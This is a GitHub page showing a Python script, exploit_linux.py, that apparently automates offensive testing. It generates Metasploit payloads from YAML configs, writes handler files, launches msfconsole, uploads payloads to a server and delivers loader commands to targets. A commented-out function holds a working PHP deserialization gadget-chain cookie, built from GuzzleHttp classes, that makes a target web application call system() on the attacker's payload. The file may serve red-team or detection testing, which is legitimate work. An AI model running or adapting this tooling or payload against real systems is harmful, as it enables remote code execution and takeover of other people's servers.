-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploit_linux.py
266 lines (213 loc) · 9.87 KB
/
exploit_linux.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
import uuid
import os
import urllib
import time
import re
import traceback
import socket
import sys
import requests
from enum import Enum, auto
import yaml
from yaml.loader import SafeLoader
PAYLOAD_BASE64 = "| base64 | tr -d \"\\n\""
PAYLOAD_TEE = "| tee {settings.payload_folder}/base64_{payload_id}"
class Config(Enum):
settings = auto()
handlers = auto()
msf_payloads = auto()
payload_command_loaders = auto()
recon = auto()
escalation = auto()
misc = auto()
deliver = auto()
tests = auto()
#command_wrapers = auto()
class ExploitTest():
configs = {}
def __init__(self, test_ref):
self.id = uuid.uuid4()
test = ExploitTest.configs["tests"][test_ref["payload"]["name"]]
test["payload"]["name"] = Config.msf_payloads.name + "." + test["payload"]["name"]
test["payload"]["loader"] = Config.payload_command_loaders.name + "." + test_ref["payload"]["loader"]
print(str(test))
self.payload = test["payload"]
if "exploits" in test:
self.exploits_to_run = test["exploits"]
else:
self.exploits_to_run = ExploitTest.configs["settings"]["test_defaults"]["exploits"]
if "options" in test:
self.exploit_options = test["options"]
else:
self.exploit_options = ExploitTest.configs["settings"]["test_defaults"]["options"]
if "deliver" in test:
self.deliver = test["deliver"]
else:
self.deliver = ExploitTest.configs["settings"]["test_defaults"]["deliver"]
self.payload_should_upload = "{payload_url}" in self.__get_config(self.payload["loader"])
@staticmethod
def load_config():
for config in Config:
file_name = config.name+'.yaml'
if config == Config.settings and os.path.exists(os.path.join('config', 'nexttest.yaml')):
file_name = 'nexttest.yaml'
with open(os.path.join('config', file_name)) as f:
ExploitTest.configs[config.name] = yaml.load(f, Loader=SafeLoader)
if "MSF_HOST_IP" in os.environ:
ExploitTest.configs["settings"]["host_ip"] = os.environ.get("MSF_HOST_IP")
print("Overriding host_ip to {}".format(ExploitTest.configs["settings"]["host_ip"]))
@staticmethod
def get_exploit_tests():
ExploitTest.load_config()
exploit_tests = []
for test in ExploitTest.configs["settings"]["tests"]:
exploit_tests.append(ExploitTest(test))
return exploit_tests
def execute(self):
self.__create_payload()
self.__create_handler()
os.system("msfconsole -r meta.rc &")
time.sleep(15)
cmd = self.__create_load_command()
if isinstance(cmd, list):
print("Multi payload delivery")
for c in cmd:
self.__deliver(c)
time.sleep(1)
else:
self.__deliver(cmd)
#self.__exploit_deserialize(cmd)
def __is_base64(self):
return self.payload.get("base64", "None") == True
def __is_binary(self):
return self.payload.get("binary", "None") == True
def __get_config(self, ref, settings_override=None, **kwargs):
parts = ref.split(".")
config = ExploitTest.configs[parts[0]][parts[1]]
if parts[0] == Config.msf_payloads.name:
if self.__is_base64():
config = "{} {} {}".format(config, PAYLOAD_BASE64, PAYLOAD_TEE)
else:
config = "{} {}".format(config, PAYLOAD_TEE)
processed_config = None
if isinstance(config, list):
processed_config = []
for c in config:
processed_config = self.__process_config_attributes(ref, config, settings_override=settings_override, **kwargs)
else:
processed_config = self.__process_config_attributes(ref, config, settings_override=settings_override, **kwargs)
return processed_config
def __process_config_attributes(self, ref, config, settings_override=None, **kwargs):
rv = None
if isinstance(config, dict):
rv = {}
for key, value in config.items():
rv[key] = self.__process_config_attributes(ref, value, settings_override=settings_override, **kwargs)
elif isinstance(config, list):
rv = []
for value in config:
rv.append(self.__process_config_attributes(ref, value, settings_override=settings_override, **kwargs))
elif isinstance(config, str):
rv = self.__configure_string(ref, config, settings_override=settings_override, **kwargs)
else:
rv = config
return rv
def __configure_string(self, ref, config_str, settings_override=None, **kwargs):
for m in re.findall(r"\{settings.(.+?)\b\}", config_str):
if settings_override and m in settings_override:
print("Overriding default {} with value {}".format(m, settings_override[m]))
config_str = config_str.replace("{{settings.{}}}".format(m), str(settings_override[m]))
else:
config_str = config_str.replace("{{settings.{}}}".format(m), str(ExploitTest.configs["settings"][m]))
if ref in self.exploit_options:
for option, value in self.exploit_options[ref].items():
config_str = config_str.replace("{{{}}}".format(option), value)
config_str = config_str.replace("{payload_id}", str(self.id))
for key, value in kwargs.items():
config_str = config_str.replace("{{{}}}".format(key), str(value))
match = re.match(r"(.*)\|(str|int|bool|float)$", config_str)
if match:
processor = vars(__builtins__)[match.group(2)]
return processor(match.group(1))
return config_str
def __create_payload(self):
print("\n-------------------- Creating payload --------------------")
payload = self.__get_config(self.payload["name"])
print(payload)
os.system(payload)
def __create_handler(self):
print("\n-------------------- Creating handler --------------------")
handler_rc = []
for handler in self.exploits_to_run:
handler_rc.append(self.__get_config(handler))
handler_code = "\n".join(handler_rc)
print(handler_code)
f = open("meta.rc", "w")
f.write(handler_code)
f.close()
def __upload_payload_socket(self, payload):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((ExploitTest.configs["settings"]["payload_host"], int(ExploitTest.configs["settings"]["payload_port"])))
if isinstance(payload, str):
s.sendall(payload.encode())
else:
s.sendall(payload)
data = s.recv(1024)
url = re.match(r"^([^\n ]+)", data.decode()).group(1)
print('Received', url)
return url
def __upload_payload(self, payload_path, flag):
files = {'files': open(payload_path,'rb')}
r = requests.post("http://uploadserver:8000/upload", files=files)
return "http://{host_ip}:8000/base64_{payload_id}".format(host_ip=ExploitTest.configs["settings"]["host_ip"], payload_id=self.id)
def __create_load_command(self):
print("\n-------------------- Creating load command --------------------")
if self.__is_base64() or not self.__is_binary():
flag = "r"
else:
flag = "rb"
payload_path = '{folder}/base64_{payload_id}'.format(folder=ExploitTest.configs["settings"]["payload_folder"], payload_id=self.id)
with open('{folder}/base64_{payload_id}'.format(folder=ExploitTest.configs["settings"]["payload_folder"], payload_id=self.id), flag) as f:
payload = f.read()
payload_url = None
if self.payload_should_upload:
payload_url = self.__upload_payload(payload_path, flag)
cmd = self.__get_config(self.payload["loader"], payload=payload, payload_url=payload_url)
print(cmd)
return cmd
def __deliver(self, payload):
kwargs = {
'PAYLOAD': payload,
'PAYLOAD_LENGTH': len(payload),
'PAYLOAD_ID': self.id
}
try:
delivery_config = self.__get_config("deliver.{}".format(self.deliver["method"]), self.deliver, **kwargs)
method = delivery_config['method']
if '.' in method:
parts = method.rsplit('.', 1)
module = __import__(parts[0], fromlist=[''])
method = getattr(module, parts[1])
else:
method = globals()[method]
print(str(delivery_config))
print(str(method))
method(**delivery_config['args'])
except:
traceback.print_exc()
'''
def __exploit_deserialize(self, payload):
try:
requests.get(ExploitTest.configs["settings"]["url"], timeout=ExploitTest.configs["settings"]["timeout"], verify=False, \
cookies = {'unsafe_cookie': 'a:2:{i:7%3BO:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"%00GuzzleHttp\Psr7\FnStream%00methods"%3Ba:1:{s:5:"close"%3Ba:2:{i:0%3BO:23:"GuzzleHttp\HandlerStack":3:{s:32:"%00GuzzleHttp\HandlerStack%00handler"%3Bs:'+str(len(payload))+':"'+payload+'"%3Bs:30:"%00GuzzleHttp\HandlerStack%00stack"%3Ba:1:{i:0%3Ba:1:{i:0%3Bs:6:"system"%3B}}s:31:"%00GuzzleHttp\HandlerStack%00cached"%3Bb:0%3B}i:1%3Bs:7:"resolve"%3B}}s:9:"_fn_close"%3Ba:2:{i:0%3Br:5%3Bi:1%3Bs:7:"resolve"%3B}}i:7%3Bi:7%3B}'})
except requests.exceptions.ReadTimeout as e:
print("Timing out. Shutting down!")
'''
if __name__ == "__main__":
tests = ExploitTest.get_exploit_tests()
for test in tests:
test.execute()
'''
#os.system("python -m SimpleHTTPSever --directory {dir} &".format(dir=www))
#cmd = payload_command_loaders["generic"].format(url=host_ip+":8000/"+test_id, payloadname=test_id)
'''